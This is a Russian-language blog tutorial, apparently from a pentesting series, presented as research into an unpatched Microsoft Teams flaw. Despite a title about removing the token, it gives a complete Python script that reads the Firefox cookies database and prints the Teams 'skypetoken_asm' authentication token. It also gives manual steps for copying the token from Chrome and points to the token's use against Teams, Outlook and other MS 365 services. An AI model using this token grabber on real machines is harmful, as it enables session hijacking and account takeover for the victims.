Как удалить открытый текстовый токен аутентификации Microsoft Teams
В 2022 году vectra.ai опубликовала заявление о том, что наткнулась на уязвимость в настольном приложении Microsoft Teams. На сегодняшний день Microsoft не исправила эту проблему. Их заявление кажется пренебрежительным, предполагая, что только злоумышленники, имеющие доступ к локальной системе, могут успешно использовать его. Я намерен проверить это утверждение, проведя дальнейшее исследование, которое я представлю в следующей статье. На данный момент я разработал скрипт Python, способный извлекать токен из браузера. Кроме того, я покажу, как вручную проверить восприимчивость вашей системы к этому конкретному вектору атаки.
Для этого скрипта нам нужно импортировать модули os
и sqlite3
. Мы также используем Firefox для этого места извлечения, но то же самое можно применить и к Chrome. Ссылку на версию для Chrome я приведу в заключении.
import os import sqlite3
Далее нам нужно создать функцию, которая будет выполнять извлечение токенов «Skype» из файлов cookie Firefox. Поскольку структура основана на Skype и приложении на основе Electron, нам нужен только путь в данных приложения FireFox. Путь к каталогу профиля Firefox в Windows получается с помощью функции os.getenv()
. Значение переменной окружения APPDATA
используется для построения пути. Мы можем настроить скрипт для перехода к каталогу профиля Firefox, объединив полученный путь с необходимыми подкаталогами с помощью os.path.join()
. Затем мы можем создать список этих каталогов профилей. Последний каталог профиля определяется путем поиска каталога с наибольшим временем модификации. Этого можно добиться, используя функцию max()
и функцию lambda
, которые сравнивают время модификации каталогов.
def extract_skype_tokens_from_firefox(): # Get the default path to the Firefox profile directory on Windows appdata_path = os.getenv('APPDATA') firefox_profile_path = os.path.join(appdata_path, 'Mozilla', 'Firefox', 'Profiles') # Find the latest Firefox profile directory profiles = os.listdir(firefox_profile_path) latest_profile = max(profiles, key=lambda d: os.path.getmtime(os.path.join(firefox_profile_path, d)))
Полный путь к последнему каталогу профиля Firefox создается путем соединения пути к каталогу профиля с именем последнего каталога профиля с помощью os.path.join()
.
# Construct the full path to the latest Firefox profile directory profile_directory = os.path.join(firefox_profile_path, latest_profile)
Нам нужно проверить, существует ли файл базы данных cookie (cookies.sqlite
) в последнем каталоге профиля. Если файл не существует, он печатает сообщение и возвращается из функции. Если файл базы данных cookie существует, мы устанавливаем соединение с базой данных, используя sqlite3.connect()
, и создаем объект-курсор, используя conn.cursor()
. Курсор выполняет SQL-запрос для выбора значения из таблицы moz_cookies
, где столбец имени равен «skypetoken_asm».
# Check if the cookies database file exists cookies_db_path = os.path.join(profile_directory, 'cookies.sqlite') if not os.path.isfile(cookies_db_path): print("Firefox cookies database file not found.") return # Connect to the cookies database and execute the query conn = sqlite3.connect(cookies_db_path) cursor = conn.cursor() cursor.execute('SELECT value FROM moz_cookies WHERE name = "skypetoken_asm"')
Результат запроса извлекается с использованием cursor.fetchall()
, а токены Skype извлекаются из результата путем перебора строк и выбора первого столбца (row[0]
). Выводим извлеченные токены Skype на экран. Наконец, мы закрываем соединение с базой данных с помощью cursor.close()
и conn.close()
. Осталось только вызвать функцию extract_skype_tokens_from_firefox()
.
# Fetch the Skype tokens from the query result skype_tokens = [row[0] for row in cursor.fetchall()] # Print the Skype tokens when discovered for i, token in enumerate(skype_tokens, start=1): # Perform actions with each Skype token print(f"Skype Token #{i}: {token}") # Close the cursor and the database connection cursor.close() conn.close() # Extract the tokens from FireFox by calling this function: extract_skype_tokens_from_firefox()
Извлечение вручную:
Откройте Teams в браузере (в данном случае Chrome). Выберите Приложение › Хранилище › Файлы cookie. Выберите ссылку Teams.Microsoft.com и отфильтруйте skypetoken_asm
. Скопируйте и вставьте токен.
Заключение
Таким образом, с помощью простого скрипта Python мы можем получить последний каталог профиля Firefox, проверить наличие файла базы данных cookie, подключиться к базе данных, выполнить запрос для извлечения токенов Skype и распечатать токены. Как видите, извлечь этот токен несложно. Отсюда мы могли отслеживать вызовы API, чтобы узнать, как подключиться к каналу и отправить сообщение или присоединиться к собранию. Токены также работают для Outlook и других продуктов MS 365.
Ссылки:
- Смотрите, чем я занимаюсь в Твиттере: https://twitter.com/R_Eric_Kiser
- Подписаться! https://medium.com/@ekiser_48014/подписаться
- Ссылки на гитхаб:
https://github.com/R-Eric-Kiser/python-pentesting/blob/main/Teams_Token_Grabber_Chrome.py